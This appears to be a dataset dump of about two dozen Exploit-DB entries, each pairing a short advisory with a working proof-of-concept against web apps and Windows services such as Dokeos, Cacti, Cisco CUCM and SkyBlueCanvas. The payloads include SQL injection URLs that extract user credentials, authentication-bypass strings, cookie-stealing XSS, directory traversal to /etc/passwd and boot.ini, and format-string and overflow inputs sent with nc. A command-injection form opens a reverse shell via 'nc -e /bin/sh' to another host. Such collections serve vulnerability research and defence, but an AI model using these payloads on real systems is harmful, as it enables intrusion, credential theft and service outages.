QLWD/code_shield huggingface dataset:
标题: Dokeos 1.8.4 - 'main/inc/lib/events.lib.inc.php' Referer HTTP Header SQL Injection EDB-ID: 31195 CVE: 2008-0850 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/27792/info
 
Dokeos is prone to multiple input-validation vulnerabilities including five SQL-injection issues, one HTML-injection issue, three cross-site scripting issues, and one arbitrary-file-upload issue.
 
Attackers can exploit these issues to execute arbitrary script code in the context of the webserver, compromise the application, steal cookie-based authentication credentials from legitimate users of the site, modify the way the site is rendered, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Versions prior to Dokeos 1.8.4 SP2 are affected. 

GET /dokeos/index.php HTTP/1.0
Cookie: dk_sid=av68g9lus300ts870iqebhneh5
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: localhost
Referer: ' URL: https://www.exploit-db.com/exploits/31195
标题: Dokeos 1.8.4 - '/main/create_course/add_course.php?tutor_name' SQL Injection EDB-ID: 31200 CVE: 2008-0850 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/27792/info
      
Dokeos is prone to multiple input-validation vulnerabilities including five SQL-injection issues, one HTML-injection issue, three cross-site scripting issues, and one arbitrary-file-upload issue.
      
Attackers can exploit these issues to execute arbitrary script code in the context of the webserver, compromise the application, steal cookie-based authentication credentials from legitimate users of the site, modify the way the site is rendered, access or modify data, or exploit latent vulnerabilities in the underlying database.
      
Versions prior to Dokeos 1.8.4 SP2 are affected. 

POST /dokeos/main/create_course/add_course.php HTTP/1.0
Cookie: dk_sid=av68g9lus300ts870iqebhneh5
Content-Length: 107
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: localhost
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/dokeos/main/create_course/add_course.php
title=1234&category_code=PROJ&wanted_code=1234&course_language=slovenian&_qf__add_course=&tutor_name=' URL: https://www.exploit-db.com/exploits/31200
标题: PlutoStatus Locator 1.0pre alpha - 'index.php' Local File Inclusion EDB-ID: 31202 CVE: 2008-0819 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/27802/info

PlutoStatus Locator is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to include local files in the context of the webserver process. This may allow the attacker to obtain potentially sensitive information; other attacks are also possible.

This issue affects PlutoStatus Locator 1.0pre alpha; other versions may also be affected. 

http://www.example.com/locator/index.php?page=../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/31202
标题: Dokeos 1.8.4 - '/main/admin/course_category.php?category' Cross-Site Scripting EDB-ID: 31197 CVE: 2008-0851 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/27792/info
   
Dokeos is prone to multiple input-validation vulnerabilities including five SQL-injection issues, one HTML-injection issue, three cross-site scripting issues, and one arbitrary-file-upload issue.
   
Attackers can exploit these issues to execute arbitrary script code in the context of the webserver, compromise the application, steal cookie-based authentication credentials from legitimate users of the site, modify the way the site is rendered, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
Versions prior to Dokeos 1.8.4 SP2 are affected. 

http://www.example.com/[installdir]/dokeos/main/admin/course_category.php?category=<script>alert('DSecRG XSS')</script> URL: https://www.exploit-db.com/exploits/31197
标题: Dokeos 1.8.4 - 'whoisonline.php?id' SQL Injection EDB-ID: 31194 CVE: 2008-0850 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/27792/info

Dokeos is prone to multiple input-validation vulnerabilities including five SQL-injection issues, one HTML-injection issue, three cross-site scripting issues, and one arbitrary-file-upload issue.

Attackers can exploit these issues to execute arbitrary script code in the context of the webserver, compromise the application, steal cookie-based authentication credentials from legitimate users of the site, modify the way the site is rendered, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to Dokeos 1.8.4 SP2 are affected. 

http://www.example.com/[installdir]/whoisonline.php?id=1'+and+"dsec"="dsecrg"+union+select+user(),version()/* URL: https://www.exploit-db.com/exploits/31194
标题: Cisco Unified Communications Manager 6.1 - 'key' SQL Injection EDB-ID: 31189 CVE: 2008-0026 类型: WEBAPPS 平台: JAVA 发布日期: 2008-02-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/27775/info

Cisco Unified Communications Manager is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. This issue is tracked by Cisco bug ID CSCsk64286.

This issue affects the following:

Cisco Unified Communication Manager 5.0/5.1 prior to 5.1(3a)
Cisco Unified Communication Manager 6.0/6.1 prior to 6.1(1a)

https://www.example.org/ccmuser/personaladdressbookEdit.do?key='+UNION+ALL+
SELECT+'','',firstname,lastname,userid,password+from+enduser;--

https://www.example.org/ccmuser/personaladdressbookEdit.do?key='+UNION+ALL+
SELECT+'','','',user,'',password+from+applicationuser;-- URL: https://www.exploit-db.com/exploits/31189
标题: Skybluecanvas CMS 1.1 r248-03 - Remote Command Execution EDB-ID: 31183 CVE: 2014-1683 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-24 漏洞利用脚本: Vulnerability in SkyBlueCanvas CMS

Vulnerability Type:
Remote Command Injection

Version Affected:
1.1 r248-03 (and probably prior versions)

Discovered by:
Scott Parish - Center for Internet Security

Vendor Information:
SkyBlueCanvas is an easy-to-use Web Content Management System, that makes it simple to keep the content of your site 
fresh. You simply upload the software to your web server, and you are ready to start adding text and pictures to your 
web site.

Vulnerability Details:
The SkyBlueCanvas Lightweight CMS application contains a remote command injection vulnerability within the form on the 
Contact page. A remote un-authenticated user can exploit this vulnerability to force the webserver to execute commands 
in the context of the vulnerable application. It is possible to exploit this vulnerability because the POST parameters 
"name", "email", "subject", and  "message" are not properly sanitized when submitted to the index.php?pid=4 page. 
Arbitrary commands can be executed by injecting the following payload to a vulnerable parameter:
A"; <command>
Since the page does not display the results of the injected command (blind injection) then testing must be done using a 
ping, nc, or similar command.

Proof of Concept Exploit Code:
<html>
<body>
<form action="http://localhost/index.php?pid=4"; method="post">
  <input type="hidden" name="cid" value="3">
  <input type="hidden" name="name" value="test&#34;&#59; nc -e /bin/sh 192.168.1.2 12345">
  <input type="hidden" name="email" value="test">
  <input type="hidden" name="subject" value="test">
  <input type="hidden" name="message" value="test">
  <input type="hidden" name="action" value="Send">
  <input type="submit" value="submit">
</form>
</body>
</html>

References:
http://skybluecanvas.com/

Remediation:
The vendor has issued a fix to the vulnerability in version 1.1 r248-04

Revision History:
1/9/14 - Vulnerability discovered
1/10/14 - Vulnerability disclosed privately to vendor
1/22/14 - Patch released by vendor
1/23/14 - Vulnerability disclosed publicly
This message and attachments may contain confidential information. If it appears that this message was sent to you by 
mistake, any retention, dissemination, distribution or copying of this message and attachments is strictly prohibited. 
Please notify the sender immediately and permanently delete the message and any attachments. URL: https://www.exploit-db.com/exploits/31183
标题: Site2Nite Real Estate Web - 'agentlist.asp' Multiple SQL Injections EDB-ID: 31191 CVE: 2008-7030 类型: WEBAPPS 平台: ASP 发布日期: 2008-02-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/27779/info

Site2Nite Real Estate Web is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following proof-of-concept login and password examples are available:

Login: anything' OR 'x'='x
Password: anything' OR 'x'='x URL: https://www.exploit-db.com/exploits/31191
标题: Cacti 0.8.7 - 'graph_xport.php?local_graph_id' SQL Injection EDB-ID: 31160 CVE: 2008-0785 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/27749/info
    
Cacti is prone to multiple unspecified input-validation vulnerabilities, including:
    
- Multiple cross-site scripting vulnerabilities
- Multiple SQL-injection vulnerabilities
- An HTTP response-splitting vulnerability.
    
Attackers may exploit these vulnerabilities to influence or misrepresent how web content is served, cached, or interpreted, to compromise the application, to access or modify data, to exploit vulnerabilities in the underlying database, or to execute arbitrary script code in the browser of an unsuspecting user.
    
These issues affect Cacti 0.8.7a and prior versions. 

curl "http://www.example.com/cacti/graph_xport.php?local_graph_id=1" -d \
"local_graph_id=1'" -H "Cookie: Cacti=<cookie value>" URL: https://www.exploit-db.com/exploits/31160
标题: Cacti 0.8.7 - 'tree.php' Multiple SQL Injections EDB-ID: 31159 CVE: 2008-0785 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/27749/info
   
Cacti is prone to multiple unspecified input-validation vulnerabilities, including:
   
- Multiple cross-site scripting vulnerabilities
- Multiple SQL-injection vulnerabilities
- An HTTP response-splitting vulnerability.
   
Attackers may exploit these vulnerabilities to influence or misrepresent how web content is served, cached, or interpreted, to compromise the application, to access or modify data, to exploit vulnerabilities in the underlying database, or to execute arbitrary script code in the browser of an unsuspecting user.
   
These issues affect Cacti 0.8.7a and prior versions. 

http://www.example.com/cacti/tree.php?action=edit&id=1&subaction=foo&leaf_id=1%20or%201%20=%201
curl "http://www.example.com/cacti/tree.php?action=edit&id=1" -d \
"id=sql'" -H "Cookie: Cacti=<cookie value>" URL: https://www.exploit-db.com/exploits/31159
标题: Cacti 0.8.7 - 'graph_view.php?filter' Cross-Site Scripting EDB-ID: 31158 CVE: 2008-0783 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/27749/info
  
Cacti is prone to multiple unspecified input-validation vulnerabilities, including:
  
- Multiple cross-site scripting vulnerabilities
- Multiple SQL-injection vulnerabilities
- An HTTP response-splitting vulnerability.
  
Attackers may exploit these vulnerabilities to influence or misrepresent how web content is served, cached, or interpreted, to compromise the application, to access or modify data, to exploit vulnerabilities in the underlying database, or to execute arbitrary script code in the browser of an unsuspecting user.
  
These issues affect Cacti 0.8.7a and prior versions. 

http://www.example.com/cacti/graph_view.php?action=list&page=1&host_id=0&graph_template_id=8&filter=onmouseover=javascript:alert(/XSS/) URL: https://www.exploit-db.com/exploits/31158
标题: okul siteleri 'com_mezun' Component - SQL Injection EDB-ID: 31162 CVE: 2008-0815 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/27755/info

'okul siteleri' is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://ww.example.com/index.php?option=com_mezun&task=edit&hidemainmenu=S@BUN&id=-9999999/**/union/**/select/**/concat(username,0x3a,password),username,password,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a/**/from/**/jos_users/* URL: https://www.exploit-db.com/exploits/31162
标题: Cacti 0.8.7 - 'graph_view.php?graph_list' SQL Injection EDB-ID: 31156 CVE: 2008-0785 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/27749/info

Cacti is prone to multiple unspecified input-validation vulnerabilities, including:

- Multiple cross-site scripting vulnerabilities
- Multiple SQL-injection vulnerabilities
- An HTTP response-splitting vulnerability.

Attackers may exploit these vulnerabilities to influence or misrepresent how web content is served, cached, or interpreted, to compromise the application, to access or modify data, to exploit vulnerabilities in the underlying database, or to execute arbitrary script code in the browser of an unsuspecting user.

These issues affect Cacti 0.8.7a and prior versions. 

http://www.example.com/cacti/graph_view.php?action=preview&style=selective&graph_list=bla'%20or%20'1'='1 URL: https://www.exploit-db.com/exploits/31156
标题: Cacti 0.8.7 - '/index.php/sql.php?Login Action login_username' SQL Injection EDB-ID: 31161 CVE: 2008-0785 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/27749/info
     
Cacti is prone to multiple unspecified input-validation vulnerabilities, including:
     
- Multiple cross-site scripting vulnerabilities
- Multiple SQL-injection vulnerabilities
- An HTTP response-splitting vulnerability.
     
Attackers may exploit these vulnerabilities to influence or misrepresent how web content is served, cached, or interpreted, to compromise the application, to access or modify data, to exploit vulnerabilities in the underlying database, or to execute arbitrary script code in the browser of an unsuspecting user.
     
These issues affect Cacti 0.8.7a and prior versions. 

$ curl -kis "http://www.example.com/cacti-0.8.7a/index.php/sql.php" -d \
"login_username=foo'+or+ascii(substring(password,1,1))>56#&action=login" \
| head -n1
HTTP/1.1 200 OK
$ curl -kis "http://www.example.com/cacti-0.8.7a/index.php/sql.php" -d \
"login_username=foo'+or+ascii(substring(password,1,1))<56#&action=login" \
| head -n1
HTTP/1.1 302 Found URL: https://www.exploit-db.com/exploits/31161
标题: Counter Strike Portals - 'download' SQL Injection EDB-ID: 31154 CVE: 2008-0733 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/27747/info

Counter Strike Portals is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?page=downloads&mode=details&id=-1/**/union/**/select/**/0,member_nick,111,member_pass,222,333,444,555,666/**/from/**/tbl_member/* URL: https://www.exploit-db.com/exploits/31154
标题: WinIPDS 3.3 rev. G52-33-021 - Directory Traversal / Denial of Service EDB-ID: 31163 CVE: 2008-0790 类型: REMOTE 平台: WINDOWS 发布日期: 2008-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/27757/info

WinIPDS is prone to a directory-traversal vulnerability and a denial-of-service vulnerability.

Exploiting these issues will allow attackers to gain to sensitive information or crash the affected application, denying further service to legitimate users.

These issues affect WinIPDS 3.3 rev. G52-33-021; prior versions may also be affected. 

GET /../../../../../boot.ini HTTP/1.0
or
POST /..\../..\../..\boot.ini HTTP/1.0 URL: https://www.exploit-db.com/exploits/31163
标题: Cacti 0.8.7 - 'graph.php?view_type' Cross-Site Scripting EDB-ID: 31157 CVE: 2008-0783 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/27749/info
 
Cacti is prone to multiple unspecified input-validation vulnerabilities, including:
 
- Multiple cross-site scripting vulnerabilities
- Multiple SQL-injection vulnerabilities
- An HTTP response-splitting vulnerability.
 
Attackers may exploit these vulnerabilities to influence or misrepresent how web content is served, cached, or interpreted, to compromise the application, to access or modify data, to exploit vulnerabilities in the underlying database, or to execute arbitrary script code in the browser of an unsuspecting user.
 
These issues affect Cacti 0.8.7a and prior versions. 

http://www.example.com/cacti/graph.php?local_graph_id=1&rra_id=34&action=properties&view_type=token'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/31157
标题: Sentinel Protection Server 7.x/Keys Server 1.0.x - Backslash Directory Traversal EDB-ID: 31149 CVE: 2008-0760 类型: REMOTE 平台: WINDOWS 发布日期: 2008-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/27735/info

Sentinel Protection Server and Keys Server are prone to a directory-traversal vulnerability because the software fails to sufficiently sanitize user-supplied input data.

Exploiting this issue may allow an attacker to access sensitive information that could aid in further attacks.

This issue affects Protection Server 7.4.1.0 and Keys Server 1.0.4; earlier versions may also be vulnerable.

NOTE: This issue may be caused by an incomplete security patch released in November 2007 that was documented in BID 26583 ('Sentinel Protection Server/Keys Server Directory Traversal Vulnerability'). 

GET /..\..\..\..\..\..\..\boot.ini HTTP/1.0 URL: https://www.exploit-db.com/exploits/31149
标题: Larson Network Print Server 9.4.2 build 105 - 'LstNPS' Logging Function USEP Command Remote Format String EDB-ID: 31139 CVE: 2008-0764 类型: DOS 平台: WINDOWS 发布日期: 2008-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/27732/info
 
Larson Software Technology Network Print Server is prone to a format-string vulnerability and a buffer-overflow vulnerability.
 
An attacker can exploit these issues to execute arbitrary code within the context of the affected application or crash the application, denying service to legitimate users.
 
Network Print Server 9.4.2 build 105 and prior versions are affected. 

echo USEP %n%n%n%s%s%s|nc SERVER 3114 -v -v URL: https://www.exploit-db.com/exploits/31139
标题: iTechClassifieds 3.03.057 - SQL Injection EDB-ID: 31140 CVE: 2014-100020 2008-0685 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-23 漏洞利用脚本: # Exploit Title: iTechClassifieds v3.03.057 - SQL Injection
# Date: 23/01/2014
# Exploit Author: vinicius777
# Vendor Homepage: http://itechscripts.com/download.html
# Software Link: http://itechscripts.com/downloads/download_itechclassifieds.html
# Version: 3.03.057


[1] SQL Injection - PreviewNun 

PoC: http://localhost/iTechClassifieds_v3/ChangeEmail.php?PreviewNum=1' [SQL INJECTION]



[2] SQL Injection - CatID

PoC: http://localhost/iTechClassifieds_v3/ViewCat.php?CatID=[SQL INJECTION]


#
#
# Greetz to g0tm1lk and TheColonial. URL: https://www.exploit-db.com/exploits/31140
标题: Larson Network Print Server 9.4.2 build 105 (LstNPS) - 'NPSpcSVR.exe' License Command Remote Overflow EDB-ID: 31138 CVE: 2008-0763 类型: DOS 平台: WINDOWS 发布日期: 2008-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/27732/info

Larson Software Technology Network Print Server is prone to a format-string vulnerability and a buffer-overflow vulnerability.

An attacker can exploit these issues to execute arbitrary code within the context of the affected application or crash the application, denying service to legitimate users.

Network Print Server 9.4.2 build 105 and prior versions are affected. 

echo LICENSE aaaaa...160...aaaaa|nc SERVER 3114 -v -v URL: https://www.exploit-db.com/exploits/31138
标题: Simple E-document 1.31 - Authentication Bypass EDB-ID: 31142 CVE: 2014-10020 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-23 漏洞利用脚本: ##########################################################################
[+] Exploit: Simple e-document v1.31 Login Bypass                        #
[+] Author: vinicius777                      #
[+] Contact: vinicius777 [AT] gmail @vinicius777sec                      # 
[+] version: Simple e-document v1.31                    #
[+] Vendor Homepage: http://sourceforge.net/projects/simplee-doc/files/  #
##########################################################################
  
 
[1] Sql Injection on username field

PoC: username=-4731' OR (2708=2708)#

# Burp output

POST /simple_e_document_v_1_31/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/simple_e_document_v_1_31/index.php
Cookie: username=-4731%27+OR+%282708%3D2708%29%23; access=3; __atuvc=3%7C3; res_session=5mYRbQ67qPN3Zx%2FH%2FPKLDcSgbu3FmjzVAfezt0G0Hapsi7GRhIzlauDhsVpWaAeOu8MAa2wkiyHTT%2BGemuchDNMd1kQYMKbXSp6MFx8BS6A05M%2FIxw0vP2XGGDE5iSzrDERGO6QQa4pOXRjpMD4aYL8%2BQPCj98JZrngcZnhoEFWekObo5EWdnnuhg8zpmWL26dMuzY9uPu%2BO60BwSiVU0CCrFKxc5lMkSH%2BE9%2FwxI4XQpVE%2Bb9X4StmPGMMiZ1it0mJcChZdz4Mku1WJcOrzLVN0RYZYIvARwBiMXdGf%2Bvpw%2F0MHPP09fBv0PRgNI4XAI9apbQ7RLlxK6LneiNaR0epLS1YQiRpucBxtI0AiKofvOK5THZM6KSenIxsqUsrSxtff6eic0prlZb%2Fvl%2B3unAIgFdcAREUhQZ6lytABxA3CRMuZUmb2lyU7cWb%2FnyhQ9BtCXtfSTrdJze6JIFxsFg%3D%3D; __utma=111872281.1068821941.1389863798.1389863798.1389863798.1; __utmz=111872281.1389863798.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ck_login_id_20=1; ck_login_language_20=en_us; ck_login_theme_20=Sugar5; ws_session=cbm4nhtn24jn9mhfvbjimjjl55; PHPSESSID=unqjr3tdi0tbgl3if801atjhl7
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 73

username=-4731%27+OR+%282708%3D2708%29%23&password=&op=login&Submit=Login


Vulnerable Code:
[+] login.php

$username= stripslashes($_POST['username']);
$password= stripslashes($_POST['password']);
$r_password = md5($password);
$sql = "SELECT * From edocphp_users WHERE username='$username' AND password ='$r_password'";



#
#
# Greetz to g0tm1lk and TheColonial. URL: https://www.exploit-db.com/exploits/31142
标题: cyan soft - Multiple Applications Format String / Denial of Service Vulnerabilities EDB-ID: 31136 CVE: 2008-0756 类型: DOS 平台: MULTIPLE 发布日期: 2008-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/27728/info

Multiple cyan soft products are affected by a format-string vulnerability because they fail to adequately sanitize user-supplied input before passing it as the format-specifier to a formatted-printing function.

These applications are also affected by a denial-of-service vulnerability because they fail to adequately handle certain commands during the start of a connection.

Attackers can leverage these issues to execute arbitrary code in the context of the application or to terminate the application. Successful attacks will compromise the applications or deny access to legitimate users.

The following applications are affected:

Opium4 OPI Server 4.10.1028 and prior
cyanPrintIP Easy OPI 4.10.1030 and prior
cyanPrintIP Professional 4.10.1030 and prior
cyanPrintIP Workstation 4.10.836 and prior
cyanPrintIP Standard 4.10.940 and prior
cyanPrintIP Basic 4.10.1030 and prior 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31136.zip URL: https://www.exploit-db.com/exploits/31136